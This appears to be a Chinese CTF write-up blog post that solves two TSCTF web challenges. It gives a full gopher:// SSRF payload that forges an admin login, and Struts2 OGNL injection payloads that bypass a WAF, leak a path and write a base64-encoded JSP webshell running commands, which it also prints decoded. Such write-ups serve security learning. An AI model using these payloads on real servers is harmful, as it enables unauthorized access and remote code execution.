TSCTF 之web萌新瞎扯(二)

一,emmmmm

    用扫描器扫描敏感目录,可以看到robots协议是开放的,查看robots协议 ,发现里面暴露了敏感目录backup以及phpinfo,访问backup发现里面有数据库备份文件,可以拿到管理员的账号和密码为admin和bupt666,试着去登录,发现

**Warning!** login failed! admin's login ip must be 127.0.0.1 (attention: http server's local port is 80)!

接着去查看phpinfo,发现开了gopher协议,于是我们可以利用gopher协议让服务器post admin的登录包,

首先登录来到后台,抓包记录下当前的sessionid,将cookie删掉后发包,记录下set-cookie的值,然后构造gopher协议

url=gopher://127.0.0.1:80/_POST%20%2findex.php%253Faction%3Dlogin%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A9000%250d%250aCookie%3A%20PHPSESSID%3D169f13c39a9acc14032583cb99595cda%3B%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2031%250d%250a%250d%250ausername%3Dadmin%26password%3Dbupt666

gopher中的sessionid用的是set-cookie的值,发包的cookie用登录时的sessionid,发完之后,用set-cookie的sessionid登录,既可看到flag。


二,时光机

    是一个struts2的漏洞,需要绕过modsecurity规则,规则hint中已经给出

https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.1/dev/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf

关于漏洞的具体信息以及利用方法

https://paper.seebug.org/241/

但是由于有waf,先有的exp都打不了,需要自己构造ognl表达式,首先需要拿到web应用的目录 官方wp中给出的payload

Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new ognl.OgnlContext())).(#path=#a.getClass().getResource("").getPath()).(#os=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(#os.write(#path.getBytes())).(#os.flush())}

拿到目录之后构造ognl表达式写入webshell,并通过webshell执行命令,官方给出的webshell如下

%{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.io.RandomAccessFile("/usr/local/tomcat/webapps/ROOT/shell.jsp","rw")).write(@java.util.Base64@getDecoder().decode("PCUKICAgIGlmKCJkbGl2ZSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpewogICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJpIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsKICAgICAgICBieXRlW10gYiA9IG5ldyBieXRlWzIwNDhdOwogICAgICAgIG91dC5wcmludCgiPHByZT4iKTsKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsKICAgICAgICB9CiAgICAgICAgb3V0LnByaW50KCI8L3ByZT4iKTsKICAgIH0KJT4=")

其中的base64解码如下

<%
    if("dlive".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后利用postman posty pwd以及i过去 即可获得flag



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值